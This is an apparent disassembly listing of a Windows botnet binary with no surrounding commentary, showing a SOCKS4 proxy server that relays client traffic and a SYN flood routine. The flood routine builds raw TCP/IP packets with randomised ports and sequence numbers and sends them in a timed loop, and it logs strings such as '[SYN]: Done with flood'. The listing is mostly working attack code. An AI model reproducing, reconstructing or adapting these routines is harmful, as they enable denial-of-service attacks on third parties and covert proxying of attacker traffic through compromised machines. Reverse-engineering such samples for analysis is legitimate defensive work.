sub_410BC4	proc near		; CODE XREF: sub_410BDF+41p
					; sub_410CCF+Ep

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_410BCD
		inc	ecx


loc_410BCD:				; CODE XREF: sub_410BC4+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_410BC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410BDF	proc near		; CODE XREF: sub_410CE6+56p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_C]
		cmp	bl, 0Ah
		push	esi
		jz	short loc_410BFA
		cmp	bl, 0Dh
		jz	short loc_410BFA
		cmp	bl, 5Ch
		jz	short loc_410BFA
		test	bl, bl
		jnz	short loc_410BFB


loc_410BFA:				; CODE XREF: sub_410BDF+Bj
					; sub_410BDF+10j ...
		inc	ebx


loc_410BFB:				; CODE XREF: sub_410BDF+19j
		mov	esi, 0FFh
		cmp	ebx, esi
		jbe	short loc_410C1F
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_410C19
		cmp	al, 0Dh
		jz	short loc_410C19
		cmp	al, 5Ch
		jz	short loc_410C19
		test	al, al
		jnz	short loc_410C1F


loc_410C19:				; CODE XREF: sub_410BDF+2Cj
					; sub_410BDF+30j ...
		add	ebx, 100h


loc_410C1F:				; CODE XREF: sub_410BDF+23j
					; sub_410BDF+38j
		push	ebx
		call	sub_410BC4
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+arg_C], eax
		ja	short loc_410C35
		cmp	eax, 0FFFFh
		jbe	short loc_410C3C


loc_410C35:				; CODE XREF: sub_410BDF+4Dj
		xor	eax, eax
		jmp	loc_410CCB
; ---------------------------------------------------------------------------


loc_410C3C:				; CODE XREF: sub_410BDF+54j
		mov	dl, byte_47C160
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_410C6A


loc_410C48:				; CODE XREF: sub_410BDF+89j
		mov	ecx, [ebp+arg_8]
		mov	cl, [eax+ecx]
		xor	cl, dl
		jz	short loc_410C61
		cmp	cl, 0Ah
		jz	short loc_410C61
		cmp	cl, 0Dh
		jz	short loc_410C61
		cmp	cl, 5Ch
		jnz	short loc_410C65


loc_410C61:				; CODE XREF: sub_410BDF+71j
					; sub_410BDF+76j ...
		inc	dl
		xor	eax, eax


loc_410C65:				; CODE XREF: sub_410BDF+80j
		inc	eax
		cmp	eax, ebx
		jb	short loc_410C48


loc_410C6A:				; CODE XREF: sub_410BDF+67j
		cmp	ebx, esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	5
		mov	byte_47C160, dl
		pop	ecx
		ja	short loc_410C92
		mov	esi, offset loc_42C3A0
		mov	byte_42C3AD, bl
		mov	byte_42C3B1, dl
		rep movsd
		push	15h
		jmp	short loc_410CAA
; ---------------------------------------------------------------------------


loc_410C92:				; CODE XREF: sub_410BDF+9Aj
		mov	word_42C396, bx
		mov	byte_42C39B, dl
		mov	esi, offset loc_42C388
		rep movsd
		movsw
		push	17h


loc_410CAA:				; CODE XREF: sub_410BDF+B1j
		pop	eax
		xor	ecx, ecx
		test	ebx, ebx
		movsb
		pop	edi
		jbe	short loc_410CC8
		mov	esi, [ebp+arg_0]
		add	esi, eax


loc_410CB8:				; CODE XREF: sub_410BDF+E7j
		mov	eax, [ebp+arg_8]
		mov	al, [ecx+eax]
		xor	al, dl
		mov	[esi+ecx], al
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_410CB8


loc_410CC8:				; CODE XREF: sub_410BDF+D2j
		mov	eax, [ebp+arg_C]


loc_410CCB:				; CODE XREF: sub_410BDF+58j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410BDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_410CCF	proc near		; CODE XREF: sub_410CE6+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_410AA0
		push	eax
		call	sub_410BC4
		add	esp, 0Ch
		retn
sub_410CCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CE6	proc near		; CODE XREF: sub_4127BC+6Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_410CCF
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_410D06
		cmp	eax, 0FFFFh
		jbe	short loc_410D0A


loc_410D06:				; CODE XREF: sub_410CE6+17j
		xor	eax, eax
		jmp	short loc_410D4F
; ---------------------------------------------------------------------------


loc_410D0A:				; CODE XREF: sub_410CE6+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_410AA0
		add	eax, 101h
		push	eax
		call	sub_414E7D
		add	esp, 0Ch
		push	edi
		push	ebx
		push	edi
		push	ebx
		mov	esi, eax
		call	sub_410AA0
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_410ACC
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_410BDF
		push	esi
		mov	edi, eax
		call	sub_414A14
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_410D4F:				; CODE XREF: sub_410CE6+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_410CE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410D53	proc near		; CODE XREF: sub_410E50+200p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	esi, 400h


loc_410D66:				; CODE XREF: sub_410D53+C0j
					; sub_410D53+F2j
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		inc	ecx
		mov	[ebp+var_100], eax
		mov	[ebp+var_104], ecx
		xor	eax, eax


loc_410D7A:				; CODE XREF: sub_410D53+36j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_100], edx
		jz	short loc_410D8B
		inc	eax
		cmp	eax, ecx
		jb	short loc_410D7A


loc_410D8B:				; CODE XREF: sub_410D53+31j
		cmp	eax, ecx
		jnz	short loc_410D9F
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_410D9F:				; CODE XREF: sub_410D53+3Aj
		push	ebx
		xor	eax, eax
		push	ebx
		mov	ecx, 100h
		lea	edi, [ebp+var_504]
		rep stosd
		push	ebx
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43588C	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_4]
		call	dword_43583C	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_410E01
		push	ebx
		push	esi
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_4]
		call	dword_43575C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410E4B
		push	ebx
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410E4B


loc_410E01:				; CODE XREF: sub_410D53+7Ej
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43583C	; __WSAFDIsSet
		test	eax, eax
		jz	loc_410D66
		push	ebx
		push	esi
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43575C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410E4B
		push	ebx
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_4]
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_410D66


loc_410E4B:				; CODE XREF: sub_410D53+95j
					; sub_410D53+ACj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410D53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_410E50	proc near		; DATA XREF: sub_411080+13Fo

var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_4D4		= byte ptr -4D4h
var_4D3		= byte ptr -4D3h
var_4D2		= word ptr -4D2h
var_4D0		= dword	ptr -4D0h
var_4CC		= byte ptr -4CCh
var_CC		= byte ptr -0CCh
var_48		= byte ptr -48h
var_30		= dword	ptr -30h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 5D8h
		mov	edx, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp+74h+var_CC]
		rep movsd
		mov	edi, [ebp+74h+var_30]
		xor	eax, eax
		inc	eax
		mov	[edx+0ACh], eax
		mov	esi, edi
		mov	[ebp+74h+var_5D8], eax
		imul	esi, 234h
		mov	ecx, dword_43668C[esi]
		xor	ebx, ebx
		lea	eax, [ebp+74h+var_C]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_5D8]
		push	eax
		push	ebx
		mov	[ebp+74h+arg_0], edi
		mov	[ebp+74h+var_C], 5
		mov	[ebp+74h+var_8], ebx
		mov	[ebp+74h+var_5D4], ecx
		call	dword_43588C	; select
		test	eax, eax
		jnz	short loc_410EC3
		push	dword_43668C[esi]
		jmp	loc_41106B
; ---------------------------------------------------------------------------


loc_410EC3:				; CODE XREF: sub_410E50+66j
		push	ebx
		push	408h
		lea	eax, [ebp+74h+var_4D4]
		push	eax
		push	dword_43668C[esi]
		call	dword_43575C	; recv
		test	eax, eax
		jle	loc_411065
		cmp	[ebp+74h+var_4D4], 4
		jnz	loc_411065
		cmp	[ebp+74h+var_4D3], 1
		jnz	loc_411065
		cmp	[ebp+74h+var_48], bl
		jz	loc_410F99
		lea	eax, [ebp+74h+var_48]
		lea	edi, [ebp+74h+var_4CC]


loc_410F10:				; CODE XREF: sub_410E50+DCj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_410F32
		cmp	cl, bl
		jz	short loc_410F2E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_410F32
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		cmp	cl, bl
		jnz	short loc_410F10


loc_410F2E:				; CODE XREF: sub_410E50+CAj
		xor	eax, eax
		jmp	short loc_410F37
; ---------------------------------------------------------------------------


loc_410F32:				; CODE XREF: sub_410E50+C6j
					; sub_410E50+D4j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_410F37:				; CODE XREF: sub_410E50+E0j
		cmp	eax, ebx
		jz	short loc_410F99
		lea	eax, [ebp+74h+var_48]
		push	eax
		lea	eax, [ebp+74h+var_4CC]
		push	eax
		push	offset aSocks4Authenti ; "[SOCKS4]: Authentication failed. Remote"...
		call	sub_401F73
		add	esp, 0Ch
		mov	[ebp+74h+var_4D4], bl
		mov	[ebp+74h+var_4D3], 5Dh


loc_410F60:				; CODE XREF: sub_410E50+1C0j
		xor	eax, eax
		push	ebx
		mov	ecx, 100h
		lea	edi, [ebp+74h+var_4CC]
		rep stosd
		push	8
		lea	eax, [ebp+74h+var_4D4]
		push	eax
		push	dword_43668C[esi]
		call	dword_43587C	; send


loc_410F85:				; CODE XREF: sub_410E50+210j
		push	dword_43668C[esi]
		call	dword_4358F4	; closesocket
		push	[ebp+74h+arg_0]
		jmp	loc_411072
; ---------------------------------------------------------------------------


loc_410F99:				; CODE XREF: sub_410E50+B1j
					; sub_410E50+E9j
		xor	eax, eax
		lea	edi, [ebp+74h+var_1C]
		stosd
		stosd
		stosd
		stosd
		mov	ax, [ebp+74h+var_4D2]
		push	6
		mov	[ebp+74h+var_1A], ax
		mov	eax, [ebp+74h+var_4D0]
		push	1
		push	2
		mov	[ebp+74h+var_1C], 2
		mov	[ebp+74h+var_18], eax
		call	dword_4357E8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+74h+var_4], eax
		jnz	short loc_410FDE
		call	dword_4358A0	; WSAGetLastError
		push	eax
		push	offset aSocks4ErrorFai ; "[SOCKS4]: Error: Failed to open socket("...
		jmp	short loc_410FFC
; ---------------------------------------------------------------------------


loc_410FDE:				; CODE XREF: sub_410E50+17Ej
		push	10h
		lea	ecx, [ebp+74h+var_1C]
		push	ecx
		push	eax
		call	dword_4357A0	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411015
		call	dword_4358A0	; WSAGetLastError
		push	eax
		push	offset aSocks4ErrorF_0 ; "[SOCKS4]: Error: Failed to connect to	t"...


loc_410FFC:				; CODE XREF: sub_410E50+18Cj
		call	sub_401F73
		pop	ecx
		pop	ecx
		mov	[ebp+74h+var_4D4], bl
		mov	[ebp+74h+var_4D3], 5Bh
		jmp	loc_410F60
; ---------------------------------------------------------------------------


loc_411015:				; CODE XREF: sub_410E50+19Ej
		xor	eax, eax
		push	ebx
		mov	[ebp+74h+var_4D4], bl
		mov	[ebp+74h+var_4D3], 5Ah
		mov	ecx, 100h
		lea	edi, [ebp+74h+var_4CC]
		rep stosd
		push	8
		lea	eax, [ebp+74h+var_4D4]
		push	eax
		push	dword_43668C[esi]
		call	dword_43587C	; send
		push	dword_43668C[esi]
		push	[ebp+74h+var_4]
		call	sub_410D53
		pop	ecx
		pop	ecx
		push	[ebp+74h+var_4]
		call	dword_4358F4	; closesocket
		jmp	loc_410F85
; ---------------------------------------------------------------------------


loc_411065:				; CODE XREF: sub_410E50+8Ej
					; sub_410E50+9Bj ...
		push	dword_43668C[esi]


loc_41106B:				; CODE XREF: sub_410E50+6Ej
		call	dword_4358F4	; closesocket
		push	edi


loc_411072:				; CODE XREF: sub_410E50+144j
		call	sub_412735
		pop	ecx
		push	ebx
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_410E50	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_411080	proc near		; DATA XREF: sub_408A18+4DCDo

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 2D4h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	2Ch
		pop	ecx
		xor	ebx, ebx
		lea	edi, [ebp+74h+var_D4]
		rep movsd
		push	[ebp+74h+var_40]
		inc	ebx
		mov	[eax+0A8h], ebx
		xor	eax, eax
		lea	edi, [ebp+74h+var_14]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+74h+var_4], 10h
		mov	[ebp+74h+var_14], 2
		call	dword_435934	; ntohs
		push	6
		push	ebx
		xor	esi, esi
		push	2
		mov	[ebp+74h+var_12], ax
		mov	[ebp+74h+var_10], esi
		call	dword_4357E8	; socket
		mov	edi, eax
		mov	eax, [ebp+74h+var_3C]
		imul	eax, 234h
		mov	dword_43668C[eax], edi
		push	10h
		lea	eax, [ebp+74h+var_14]
		push	eax
		push	edi
		call	dword_4358C0	; bind
		test	eax, eax
		jnz	loc_411211
		push	0Ah
		push	edi
		call	dword_435908	; listen
		test	eax, eax
		jnz	loc_411211
		push	[ebp+74h+var_40]
		push	[ebp+74h+var_D4]
		call	sub_407D51
		pop	ecx
		push	eax
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
		push	eax
		call	sub_4145E5
		add	esp, 10h
		cmp	[ebp+74h+var_30], esi
		jnz	short loc_41114E
		push	esi
		push	[ebp+74h+var_34]
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		lea	eax, [ebp+74h+var_D0]
		push	eax
		push	[ebp+74h+var_D4]
		call	sub_4056FB
		add	esp, 14h


loc_41114E:				; CODE XREF: sub_411080+B2j
					; sub_411080+17Aj ...
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		call	sub_401EFF
		pop	ecx
		lea	eax, [ebp+74h+var_4]
		push	eax
		lea	eax, [ebp+74h+var_24]
		push	eax
		push	edi
		call	dword_4357AC	; accept
		push	[ebp+74h+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+74h+var_22]
		push	eax
		push	[ebp+74h+var_20]
		mov	[ebp+74h+var_28], esi
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4ClientCo ; "[SOCKS4]: Client connection from IP: %s"...
		push	eax
		call	sub_4145E5
		push	ebx
		lea	eax, [ebp+74h+var_2D4]
		push	12h
		push	eax
		call	sub_412471
		mov	ecx, [ebp+74h+var_3C]
		mov	[ebp+74h+var_38], eax
		imul	eax, 234h
		add	esp, 20h
		mov	dword_436684[eax], ecx
		lea	eax, [ebp+74h+arg_0]
		push	eax
		push	esi
		lea	eax, [ebp+74h+var_D4]
		push	eax
		push	offset sub_410E50
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+74h+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_411207
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4Failed_0 ; "[SOCKS4]: Failed to start client thread"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		jmp	loc_41114E
; ---------------------------------------------------------------------------


loc_4111FF:				; CODE XREF: sub_411080+18Aj
		push	5
		call	ds:dword_420000	; Sleep


loc_411207:				; CODE XREF: sub_411080+15Dj
		cmp	[ebp+74h+var_28], esi
		jz	short loc_4111FF
		jmp	loc_41114E
; ---------------------------------------------------------------------------


loc_411211:				; CODE XREF: sub_411080+77j
					; sub_411080+88j
		push	edi
		call	dword_4358F4	; closesocket
		push	[ebp+74h+var_40]
		lea	eax, [ebp+74h+var_2D4]
		push	offset aSocks4Failed_1 ; "[SOCKS4]: Failed to start server on Por"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+74h+var_30], esi
		jnz	short loc_41124E
		push	esi
		push	[ebp+74h+var_34]
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		lea	eax, [ebp+74h+var_D0]
		push	eax
		push	[ebp+74h+var_D4]
		call	sub_4056FB
		add	esp, 14h


loc_41124E:				; CODE XREF: sub_411080+1B2j
		lea	eax, [ebp+74h+var_2D4]
		push	eax
		call	sub_401EFF
		push	[ebp+74h+var_3C]
		call	sub_412735
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_411080	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=68h


sub_41126C	proc near		; CODE XREF: sub_4114E8+3Cp

var_288		= byte ptr -288h
var_F8		= byte ptr -0F8h
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_A4		= byte ptr -0A4h
var_98		= byte ptr -98h
var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= byte ptr -74h
var_73		= byte ptr -73h
var_72		= word ptr -72h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= word ptr -54h
var_52		= word ptr -52h
var_50		= dword	ptr -50h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= word ptr -0Eh
var_C		= word ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-68h]
		sub	esp, 288h
		and	[ebp+68h+var_B8], 0
		push	edi
		push	0Eh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+68h+var_B7]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+68h+var_288]
		push	eax
		push	202h
		call	dword_4357F8	; WSAStartup
		test	eax, eax
		jz	short loc_4112A6
		xor	eax, eax
		jmp	loc_4114E2
; ---------------------------------------------------------------------------


loc_4112A6:				; CODE XREF: sub_41126C+31j
		push	esi
		xor	edi, edi
		inc	edi
		push	edi
		xor	esi, esi
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		call	dword_43576C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+68h+var_4], eax
		jz	loc_4114D9
		push	4
		lea	ecx, [ebp+68h+var_3C]
		push	ecx
		push	2
		push	esi
		push	eax
		mov	[ebp+68h+var_3C], edi
		call	dword_435804	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4114D0
		xor	eax, eax
		lea	edi, [ebp+68h+var_54]
		stosd
		stosd
		stosd
		push	ebx
		push	[ebp+68h+arg_8]
		stosd
		mov	[ebp+68h+var_54], 2
		call	dword_435934	; ntohs
		mov	ebx, [ebp+68h+arg_0]
		push	28h
		mov	[ebp+68h+var_52], ax
		mov	[ebp+68h+var_50], ebx
		mov	[ebp+68h+var_30], 45h
		call	dword_435934	; ntohs
		push	[ebp+68h+arg_8]
		mov	[ebp+68h+var_2E], ax
		mov	[ebp+68h+var_2C], 1
		mov	[ebp+68h+var_2A], si
		mov	[ebp+68h+var_28], 80h
		mov	[ebp+68h+var_27], 6
		mov	[ebp+68h+var_26], si
		mov	[ebp+68h+var_20], ebx
		call	dword_435934	; ntohs
		push	4000h
		mov	[ebp+68h+var_1A], ax
		mov	[ebp+68h+var_14], esi
		mov	[ebp+68h+var_10], 50h
		mov	[ebp+68h+var_F], 2
		call	dword_435934	; ntohs
		mov	[ebp+68h+var_E], ax
		lea	eax, [ebp+68h+var_5C]
		push	eax
		mov	[ebp+68h+var_A], si
		mov	[ebp+68h+var_8], esi
		call	ds:dword_420030	; QueryPerformanceFrequency
		lea	eax, [ebp+68h+var_38]
		push	eax
		call	ds:dword_42002C	; QueryPerformanceCounter
		push	[ebp+68h+var_58]
		mov	eax, [ebp+68h+arg_C]
		push	[ebp+68h+var_5C]
		cdq
		push	edx
		push	eax
		call	sub_414E90
		add	eax, [ebp+68h+var_38]
		mov	[ebp+68h+var_C], si
		adc	edx, [ebp+68h+var_34]
		mov	[ebp+68h+var_44], eax
		mov	[ebp+68h+var_40], edx
		jmp	short loc_4113C3
; ---------------------------------------------------------------------------


loc_411397:				; CODE XREF: sub_41126C+22Fj
		add	[ebp+68h+var_8], eax
		lea	eax, [ebp+68h+var_38]
		push	eax
		call	ds:dword_42002C	; QueryPerformanceCounter
		mov	eax, [ebp+68h+var_34]
		cmp	eax, [ebp+68h+var_40]
		jg	loc_4114CC
		jl	short loc_4113BE
		mov	eax, [ebp+68h+var_38]
		cmp	eax, [ebp+68h+var_44]
		jnb	loc_4114CC


loc_4113BE:				; CODE XREF: sub_41126C+144j
		and	[ebp+68h+var_C], 0


loc_4113C3:				; CODE XREF: sub_41126C+129j
		call	sub_4147A1
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_435934	; ntohs
		mov	[ebp+68h+var_1C], ax
		call	sub_4147A1
		call	sub_4147A1
		push	eax
		call	dword_435934	; ntohs
		push	[ebp+68h+arg_4]
		movzx	eax, ax
		mov	[ebp+68h+var_18], eax
		call	dword_43590C	; ntohl
		inc	[ebp+68h+arg_4]
		and	[ebp+68h+var_74], 0
		mov	esi, eax
		push	14h
		mov	[ebp+68h+var_24], esi
		mov	[ebp+68h+var_78], ebx
		mov	[ebp+68h+var_73], 6
		call	dword_435934	; ntohs
		push	8
		pop	ecx
		mov	[ebp+68h+var_7C], esi
		mov	[ebp+68h+var_72], ax
		push	5
		lea	esi, [ebp+68h+var_7C]
		lea	edi, [ebp+68h+var_B8]
		rep movsd
		pop	ecx
		lea	eax, [ebp+68h+var_B8]
		push	34h
		lea	esi, [ebp+68h+var_1C]
		lea	edi, [ebp+68h+var_98]
		push	eax
		rep movsd
		call	sub_407DA7
		push	5
		pop	ecx
		push	5
		lea	esi, [ebp+68h+var_30]
		lea	edi, [ebp+68h+var_B8]
		rep movsd
		mov	[ebp+68h+var_C], ax
		pop	ecx
		lea	esi, [ebp+68h+var_1C]
		lea	edi, [ebp+68h+var_A4]
		rep movsd
		xor	eax, eax
		lea	edi, [ebp+68h+var_90]
		stosd
		lea	eax, [ebp+68h+var_B8]
		push	28h
		push	eax
		call	sub_407DA7
		add	esp, 10h
		push	5
		pop	ecx
		push	10h
		mov	[ebp+68h+var_26], ax
		lea	eax, [ebp+68h+var_54]
		push	eax
		push	0
		push	28h
		lea	eax, [ebp+68h+var_B8]
		push	eax
		push	[ebp+68h+var_4]
		lea	esi, [ebp+68h+var_30]
		lea	edi, [ebp+68h+var_B8]
		rep movsd
		call	dword_4357B8	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	loc_411397
		call	dword_4358A0	; WSAGetLastError
		push	eax
		lea	eax, [ebp+68h+var_F8]
		push	offset aSynSendErrorD_ ; "[SYN]: Send error: <%d>."
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+68h+var_F8]
		push	eax
		call	sub_401EFF
		add	esp, 10h
		xor	esi, esi
		jmp	short loc_4114CF
; ---------------------------------------------------------------------------


loc_4114CC:				; CODE XREF: sub_41126C+13Ej
					; sub_41126C+14Cj
		mov	esi, [ebp+68h+var_8]


loc_4114CF:				; CODE XREF: sub_41126C+25Ej
		pop	ebx


loc_4114D0:				; CODE XREF: sub_41126C+74j
		push	[ebp+68h+var_4]
		call	dword_4358F4	; closesocket


loc_4114D9:				; CODE XREF: sub_41126C+58j
		call	dword_435900	; WSACleanup
		mov	eax, esi
		pop	esi


loc_4114E2:				; CODE XREF: sub_41126C+35j
		pop	edi
		add	ebp, 68h
		leave
		retn
sub_41126C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4114E8	proc near		; CODE XREF: sub_411540+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_407C3B
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_414972
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_414972
		mov	edi, eax
		call	sub_4147A1
		cdq
		mov	ecx, 200h
		idiv	ecx
		push	edi
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41126C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_411531
		inc	eax


loc_411531:				; CODE XREF: sub_4114E8+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4114E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411540	proc near		; DATA XREF: sub_408A18+2A07o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 85h
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4114E8
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSynDoneWithFlo ; "[SYN]: Done with flood (%iKB/sec)."
		push	eax
		call	sub_4145E5
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4115BD
		push	esi
		push	[ebp+var_C]
		lea	eax, [ebp+var_414]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_4056FB
		add	esp, 14h


loc_4115BD:				; CODE XREF: sub_411540+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_401EFF
		push	[ebp+var_10]
		call	sub_412735
		pop	ecx
		pop	ecx
